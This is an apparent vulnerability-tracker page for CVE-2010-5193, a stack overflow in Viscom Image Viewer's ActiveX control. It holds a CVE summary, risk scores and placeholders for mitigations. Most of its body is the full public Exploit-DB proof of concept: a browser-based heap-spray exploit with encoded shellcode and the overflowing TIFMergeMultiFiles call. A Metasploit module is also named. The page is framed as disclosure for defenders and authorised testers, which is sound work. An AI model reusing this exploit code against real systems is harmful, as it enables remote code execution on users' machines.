CVE-2010-5193

critical

Published 2012-08-31 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Stack-based buffer overflow in the TIFMergeMultiFiles function in the SCRIBBLE.ScribbleCtrl.1 ActiveX control (ImageViewer2.ocx) in Viscom Image Viewer CP Pro 8.0 and Gold 6.0 allows remote attackers to execute arbitrary code via a long strDelimit parameter.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-15668 remote windows verified text · 2 KB

Dr_IDE · 2010-12-03

Viscom Image Viewer CP Gold 6 - ActiveX 'TifMergeMultiFiles()' Remote Buffer Overflow

text exploit Source: Exploit-DB

<html>
<!--
Exploit Title:	Image Viewer CP Gold 6 ActiveX TifMergeMultiFiles() Buffer Overflow Exploit
Found By:	Dr_IDE
Download:	http://www.viscom.com
Greets: 	bz1p, bz1p@bshellz.net for finding the app.
Tested on: 	XP SP3 IE7
CVE: 		(0day)
-->
<object CLASSID="clsid:5220cb21-c88d-11cf-b347-00aa00a28331" width="14" height="14">
<param NAME="LPKPath" VALUE="imageviewer.lpk"></object>
<object classid="clsid:E589DA78-AD4C-4FC5-B6B9-9E47B110679E" id='target'></object>
<script>
//payload is windows/exec cmd=calc.exe
shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;

while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);

while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();

for( counter=0; counter<200; counter++) memory[counter]= block + shellcode;
ret='';
for( counter=0; counter<=1000; counter++) ret+=unescape("%0C%0C%0C%0C");

arg2=String("abcd");

target.TIFMergeMultiFiles(arg2, arg2, ret);
</script>
</html>

EDB-18123 remote windows verified

Metasploit · 2011-11-17

Viscom Image Viewer CP Pro 8.0/Gold 6.0 - ActiveX Control (Metasploit)

Source code queued for fetch — refresh in a moment.

Metasploit modules

exploit_windows/browser/imgeviewer_tifmergemultifiles rank 300

Viscom Image Viewer CP Pro 8.0/Gold 6.0 ActiveX Control

Source fetch failed: fetch_error — view the original via the link above.

Application impact

Vendor	Product	Versions	Fixed
viscomsoft	image_viewer_cp_gold_sdk	`6.0`
viscomsoft	image_viewer_cp_pro_sdk	`8.0`

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.